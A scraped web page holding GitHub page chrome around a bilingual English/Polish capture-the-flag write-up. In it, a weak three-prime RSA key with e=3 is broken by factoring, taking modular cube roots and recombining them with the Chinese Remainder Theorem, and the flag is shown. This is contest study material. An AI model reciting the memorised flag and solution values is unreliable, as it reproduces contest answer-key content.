<div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/epicleet/write-ups-2016/find-symbols" data-tagsearch-ref="pwn2win-ctf-2016" data-tagsearch-path="pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":54845624,"ref":"pwn2win-ctf-2016","language":"Markdown","originating_url":"https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md","user_id":null}}" data-hydro-click-hmac="23b6d942011419d66833e34fd075360a4da7034ad1f4622277767d6c347408fe"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box box-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div>
</div></div>
</main> </div>
</div>
<div class="footer container-lg width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> © 2020 GitHub, Inc. Terms Privacy Security Status Help
<svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> You can’t perform that action at this time. </div>
<script crossorigin="anonymous" async="async" integrity="sha512-WcQmT2vhcClFVOaaAJV/M+HqsJ2Gq/myvl6F3gCVBxykazXTs+i5fvxncSXwyG1CSfcrqmLFw/R/bmFYzprX2A==" type="application/javascript" id="js-conditional-compat" data-src="https://github.githubassets.com/assets/compat-bootstrap-59c4264f.js"></script> <script crossorigin="anonymous" integrity="sha512-6XBdUZGib4aqdruJTnLMOLpIh0VJsGlgQ7M3vndWJIH6YQNv+zqpo1TbCDzjHJ+YYEm4xkEinaY0VsemDUfi9A==" type="application/javascript" src="https://github.githubassets.com/assets/environment-bootstrap-e9705d51.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-EDN3kiqMVKpDXq6euD9tcIPeh3xqtWzCcm8mqqLAZOkXwdMo0hSA8Bfg0NqZ8c2n51yU4SlSal3hqgdrus+M2A==" type="application/javascript" src="https://github.githubassets.com/assets/vendor-10337792.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-CcKFBqQZKOCZU5otP6R8GH2k+iJ3zC9r2z2Iakfs/Bo9/ptHy6JIWQN3FPhVuS3CR+Q/CkEOSfg+WJfoq3YMxQ==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-09c28506.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-7Evx/cY3o6cyoeTQc+OX5n6X4k+wTJkQnAyjtmpge6F3Hgw511TPF+N0BFvn3IZLaQro6kyC/f0dqhklyssNow==" type="application/javascript" src="https://github.githubassets.com/assets/github-bootstrap-ec4bf1fd.js"></script> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div></div>
<div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div>
</body></html>
|
## RSA? (Crypto, 2p) ###ENG[PL](#pl-version)
We get a ciphertext that seems to be encrypted via RSA from openssl commandline.We also have access to the public key, and therefore we proceed like with standard RSA cipher, by recovering parameters:
`e = 3`
`n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067`
And using YAFU we factor the modulus into:
`p = 26440615366395242196516853423447`
`q = 27038194053540661979045656526063`
`r = 32581479300404876772405716877547`
We get 3 prime numbers. This is still fine, this could simply be multiprime RSA. There is nothing fancy about it, the totient is simply `(p-1)(q-1)(r-1)` and rest of the calculation goes as usual.But it doesn't, because we find that modular multiplicative inverse does not exist. Reason for this is apparent: `gcd(e, totient) = 3` and it should be 1.This is not the first time we encounter similar case (see https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/crypto_314_rsabin#eng-version ) so we have some idea of how to approach this.
We need to get rid of this 3 before we could apply RSA decoding.This means the encryption is:
`ciphertext = plaintext^e mod n = (plaintext^e')^3 mod n`
So if we could peform a modular cubic root (mod n) of both sides of the equation we could then apply RSA decoding with `e' = e/3`.Here is't even easier since `e=3` and therefore `e' = e/3 = 1` which means our encryption is simply:
`ciphertext = plaintext^3 mod n`
So the whole decryption requires modular cubic root (mod n) from ciphertext.
Some reading about modular roots brings us to conclusion that it's possible to do, but only in finite fields.So it can't be done for `n` that is a composite number, which we know it is since it's `p*q*r`.
This problem brings to mind Chinese Reminder Theorem ( https://en.wikipedia.org/wiki/Chinese_remainder_theorem )We consider this for a while and we come up with the idea that if we could calculate cubic modular root from ciphertext (mod prime) for each of our 3 primes, we could then calcualte the combined root.We can to this with Gauss Algorithm ( http://www.di-mgt.com.au/crt.html#gaussalg )
So we proceed and calculate:
`pt^3 mod p = ciperhtext mod p = 20827907988103030784078915883129`
`pt^3 mod q = ciperhtext mod q = 19342563376936634263836075415482`
`pt^3 mod r = ciperhtext mod r = 10525283947807760227880406671000`
And then it took us a while to come up with solving this equations for pt (publications mention only some special cases for those roots...)Finally we figured that wolframalpha had this implemented, eg:
http://www.wolframalpha.com/input/?i=x^3+%3D+20827907988103030784078915883129+%28mod+26440615366395242196516853423447%29
This gives us a set of possible solutions:
```pythonroots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]roots1 = [19616973567618515464515107624812]roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]```
We apply Gauss Algoritm to those roots:
```pythondef extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient * x, x y, lasty = lasty - quotient * y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m
def gauss(c0, c1, c2, n0, n1, n2): N = n0 * n1 * n2 N0 = N / n0 N1 = N / n1 N2 = N / n2 d0 = modinv(N0, n0) d1 = modinv(N1, n1) d2 = modinv(N2, n2) return (c0*N0*d0 + c1*N1*d1 + c2*N2*d2) % N
roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]roots1 = [19616973567618515464515107624812]roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]
for r0 in roots0: for r1 in roots1: for r2 in roots2: M = gauss(r0, r1, r2, p, q, r) print long_to_bytes(M)```
Which gives us the flag for one of the combinations: `0ctf{HahA!Thi5_1s_n0T_rSa~}`
###PL version
Dostajemy zaszyfrowany tekst oraz informacje która wskazywałaby że szyfrowano go za pomocą RSA przy pomocy openssl.Dostajemy także klucz publiczny, więc postępujemy tak jak w klasycznym RSA, zaczynając od odzyskania parametrów klucza:
`e = 3`
`n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067`
A za pomocą YAFU dokonujemy faktoryzacji modulusa:
`p = 26440615366395242196516853423447`
`q = 27038194053540661979045656526063`
`r = 32581479300404876772405716877547`
Dostajemy 3 liczby pierwsze. To jeszcze nie problem, to może nadal być zwykłe RSA oparte o wiele liczb pierwszych (multiprime RSA).Nie ma tu nic skomplikowanego, po prostu funkcja totien to teraz `(p-1)(q-1)(r-1)` a cała reszta obliczeń postępuje tak jak zawsze.Niestety nie w tym przypadku - okazuje sie że modinv nie istnieje.Powód jest dość oczywisty: `gcd(e, totient) = 3` a powinien wynosić 1.To nie pierwszy raz kiedy spotykamy się z podobną sytuacją (patrz: https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/crypto_314_rsabin#eng-version ) więc mamy pewne pojęcie jak dalej postępować.
Potrzebujemy pozbyć się tej 3 zanim będziemy mogli dekodować RSA.To oznacza że nasze szyfrowanie to:
`ciphertext = plaintext^e mod n = (plaintext^e')^3 mod n`
Więc jeśli wykonamy pierwiastkowanie trzeciego stopnia (modulo n) obu stron równania, dostaniemy wartość którą będzie można zdekodować przy użyciu RSA dla `e' = e/3`.W naszym przypadku jest nawet prościej bo `e = 3` więc `e' = e/3 = 1` co oznacza że szyfrowanie to tutaj po prostu:
`ciphertext = plaintext^3 mod n`
Więc cała operacja deszyfrowania wymaga jedynie pierwiastka trzeciego stopnia (mod n) z tekstu zaszyfrowanego.
Trochę czytania na temat pierwiastkowania modularnego pozwala nam stwierdzić, że taka operacja jest możliwa w zasadzie tylko dla ciał skończonych (finite field). Więc w szczególności nie może być wykonane dla naszego `n`, które jest liczbą złożoną bo wiemy, że wynosi `p*q*r`.
Ten problem przywodzi na myśl Chińskie Twierdzenie o Resztach ( https://en.wikipedia.org/wiki/Chinese_remainder_theorem )Po rozważeniu tego problemu przez pewien czas, doszliśmy do wniosku, że jeśli możemy policzyć pierwiastek trzeciego stopnia (mod liczba pierwsza) dla każdej z naszych 3 liczb, będziemy mogli wyliczyć też pierwiastek złożony.Możemy to zrobić przy użyciu algorytmu Gaussa ( http://www.di-mgt.com.au/crt.html#gaussalg ).
Przystępujemy więc do działania i wyliczamy:
`pt^3 mod p = ciperhtext mod p = 20827907988103030784078915883129`
`pt^3 mod q = ciperhtext mod q = 19342563376936634263836075415482`
`pt^3 mod r = ciperhtext mod r = 10525283947807760227880406671000`
Wyliczenie tych pierwiastków zajęło nam trochę czasu ponieważ wiekszość publikacji wspomina jedynie o metodach pierwiastkowania mających zastosowanie dla wąskiego grona przypadków.W końcu wpadliśmy na pomysł, że wolframalpha ma to już zaimplementowane:
http://www.wolframalpha.com/input/?i=x^3+%3D+20827907988103030784078915883129+%28mod+26440615366395242196516853423447%29
To daje nam potencjalne zbiory rozwiązań:
```pythonroots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]roots1 = [19616973567618515464515107624812]roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]```
Stosujemy algorytm Gaussa dla tych pierwiastków:
```pythondef extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient * x, x y, lasty = lasty - quotient * y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m
def gauss(c0, c1, c2, n0, n1, n2): N = n0 * n1 * n2 N0 = N / n0 N1 = N / n1 N2 = N / n2 d0 = modinv(N0, n0) d1 = modinv(N1, n1) d2 = modinv(N2, n2) return (c0*N0*d0 + c1*N1*d1 + c2*N2*d2) % N
roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]roots1 = [19616973567618515464515107624812]roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]
for r0 in roots0: for r1 in roots1: for r2 in roots2: M = gauss(r0, r1, r2, p, q, r) print long_to_bytes(M)
```
Co daje nam flagę dla jednej z kombinacji: `0ctf{HahA!Thi5_1s_n0T_rSa~}` |
<html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
<link crossorigin="anonymous" media="all" integrity="sha512-FG+rXqMOivrAjdEQE7tO4BwM1poGmg70hJFTlNSxjX87grtrZ6UnPR8NkzwUHlQEGviu9XuRYeO8zH9YwvZhdg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-146fab5ea30e8afac08dd11013bb4ee0.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-iXrV/b4ypc1nr10b3Giikqff+qAx5osQ0yJRxHRDd8mKFefdMtEZ0Sxs1QysJxuJBayOKThjsuMjynwBJQq0aw==" rel="stylesheet" href="https://github.githubassets.com/assets/site-897ad5fdbe32a5cd67af5d1bdc68a292.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-whtr9xYX7utnpWsNSLW7XLm7eJONfryMwfwxIH2SpIRKCZbx4aryDfn/HGMFI5Fee7dogmqmtqvPPh13+2HW2Q==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c21b6bf71617eeeb67a56b0d48b5bb5c.css" />
<meta name="viewport" content="width=device-width"> <title>write-ups-2016/README.md at pwn2win-ctf-2016 · epicleet/write-ups-2016 · GitHub</title> <meta name="description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528">
<meta name="twitter:image:src" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="epicleet/write-ups-2016" /><meta name="twitter:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" /> <meta property="og:image" content="https://avatars2.githubusercontent.com/u/18104388?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="epicleet/write-ups-2016" /><meta property="og:url" content="https://github.com/epicleet/write-ups-2016" /><meta property="og:description" content="Wiki-like CTF write-ups repository, maintained by the community. 2016 - epicleet/write-ups-2016" />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="86B6:B5B2:B2AD37:103655F:5E8A05B9" data-pjax-transient="true"/><meta name="html-safe-nonce" content="a1de2c84ce9c6d7c5eb5d65a3b05f447ea7ca395" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4NkI2OkI1QjI6QjJBRDM3OjEwMzY1NUY6NUU4QTA1QjkiLCJ2aXNpdG9yX2lkIjoiNDY4MDE2MjA0MDgyMzI4NTE3NyIsInJlZ2lvbl9lZGdlIjoiYW1zIiwicmVnaW9uX3JlbmRlciI6ImFtcyJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="f156b1b8d7d11cfe2d5a65abbb3ffec5ed5d9ba1b910e92ca4c4db4e19ebf0e5" data-pjax-transient="true"/>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-ga_id" content="" class="js-octo-ga-id" /><meta name="analytics-location" content="/<user-name>/<repo-name>/blob/show" data-pjax-transient="true" />
<meta name="google-analytics" content="UA-3769691-2">
<meta class="js-ga-set" name="dimension1" content="Logged Out">
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_FEATURED_BLOG_POSTS,MARKETPLACE_INVOICED_BILLING,MARKETPLACE_SOCIAL_PROOF_CUSTOMERS,MARKETPLACE_TRENDING_SOCIAL_PROOF,MARKETPLACE_RECOMMENDATIONS,MARKETPLACE_PENDING_INSTALLATIONS,RELATED_ISSUES">
<meta http-equiv="x-pjax-version" content="80ebc3286fe9d88acaddc1320106dfc2">
<link href="https://github.com/epicleet/write-ups-2016/commits/pwn2win-ctf-2016.atom" rel="alternate" title="Recent Commits to write-ups-2016:pwn2win-ctf-2016" type="application/atom+xml">
<meta name="go-import" content="github.com/epicleet/write-ups-2016 git https://github.com/epicleet/write-ups-2016.git">
<meta name="octolytics-dimension-user_id" content="18104388" /><meta name="octolytics-dimension-user_login" content="epicleet" /><meta name="octolytics-dimension-repository_id" content="54845624" /><meta name="octolytics-dimension-repository_nwo" content="epicleet/write-ups-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="true" /><meta name="octolytics-dimension-repository_parent_id" content="48103176" /><meta name="octolytics-dimension-repository_parent_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_network_root_id" content="48103176" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctfs/write-ups-2016" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" />
<link rel="canonical" href="https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327">
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive page-blob">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span> </span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-lg d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" class="octicon octicon-mark-github text-white" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> epicleet / write-ups-2016
</div>
<div class="d-flex flex-items-center"> Sign up
<button class="btn-link d-lg-none mt-1 js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars text-white" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"></path></svg> </button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom bg-gray-light p-3"> <button class="btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-x text-gray" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded-1 bg-white px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Code review Project management Integrations Actions Packages Security Team management Hosting
Customer stories <span>→</span> Security <span>→</span> </div> </details> Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn & contribute</h4> Topics Collections Trending Learning Lab Open source guides
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> Events Community forum GitHub Education </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans Contact Sales
Nonprofit <span>→</span> Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex mb-3 mb-lg-0"> <div class="header-search flex-self-stretch flex-lg-self-auto mr-0 mr-lg-3 mb-3 mb-lg-0 scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="54845624" data-scoped-search-url="/epicleet/write-ups-2016/search" data-unscoped-search-url="/search" action="/epicleet/write-ups-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="xHyLNfZi6ZuxkWZce/svjxViPvWLPDV2LosbZiw5ebCC/GhzK66HUhfCS5zaxIQxJqFrjDFjCEZI1B+UBEGScw==" /> <input type="hidden" class="js-site-search-type-field" name="type" >
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
